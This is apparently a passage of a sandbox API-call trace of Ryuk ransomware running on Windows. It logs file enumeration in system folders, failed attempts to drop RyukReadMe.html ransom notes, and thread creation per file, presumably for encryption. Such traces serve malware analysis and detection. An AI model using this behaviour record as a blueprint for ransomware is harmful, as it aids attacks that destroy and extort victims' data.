	[0169.451] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1
	[0169.451] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1
	[0169.451] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0
	[0169.451] FindClose (in: hFindFile=0x7a3a0 | out: hFindFile=0x7a3a0) returned 1
	[0169.452] SetLastError (dwErrCode=0x0) 
	[0169.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msadc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.453] GetLastError () returned 0x5
	[0169.453] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0169.453] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.453] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1
	[0169.453] SetLastError (dwErrCode=0x0) 
	[0169.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.453] GetLastError () returned 0x5
	[0169.453] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0169.454] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a3a0
	[0169.455] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.456] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0169.456] SetLastError (dwErrCode=0x0) 
	[0169.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msmapi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.456] GetLastError () returned 0x5
	[0169.456] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0169.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0169.457] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.457] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x76, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1
	[0169.457] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x76, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0
	[0169.457] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0169.458] SetLastError (dwErrCode=0x0) 
	[0169.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.458] GetLastError () returned 0x5
	[0169.458] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0169.458] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.458] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0169.458] FindClose (in: hFindFile=0x7a3a0 | out: hFindFile=0x7a3a0) returned 1
	[0169.459] SetLastError (dwErrCode=0x0) 
	[0169.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\msmapi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.459] GetLastError () returned 0x5
	[0169.459] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0169.459] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.459] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0169.459] SetLastError (dwErrCode=0x0) 
	[0169.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.460] GetLastError () returned 0x5
	[0169.460] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0169.460] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a3a0
	[0169.465] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.465] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0169.465] SetLastError (dwErrCode=0x0) 
	[0169.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ole db\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.465] GetLastError () returned 0x5
	[0169.465] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0169.465] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0169.466] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0169.466] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x76, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1
	[0169.466] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x76, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1
	[0169.466] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x76, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1
	[0169.466] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4
	[0169.469] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.470] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x76, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1
	[0169.470] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8
	[0169.768] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.769] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x76, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0
	[0169.769] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0169.769] SetLastError (dwErrCode=0x0) 
	[0169.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.770] GetLastError () returned 0x5
	[0169.770] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0169.770] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.770] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0169.770] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1
	[0169.770] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1
	[0169.770] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1
	[0169.770] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1
	[0169.770] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x68, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1
	[0169.770] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x68, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1
	[0169.770] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x68, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1
	[0169.771] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x68, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1
	[0169.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0
	[0169.773] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0169.773] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x68, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1
	[0169.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87a0000
	[0169.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00
	[0169.776] VirtualFree (lpAddress=0x87a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
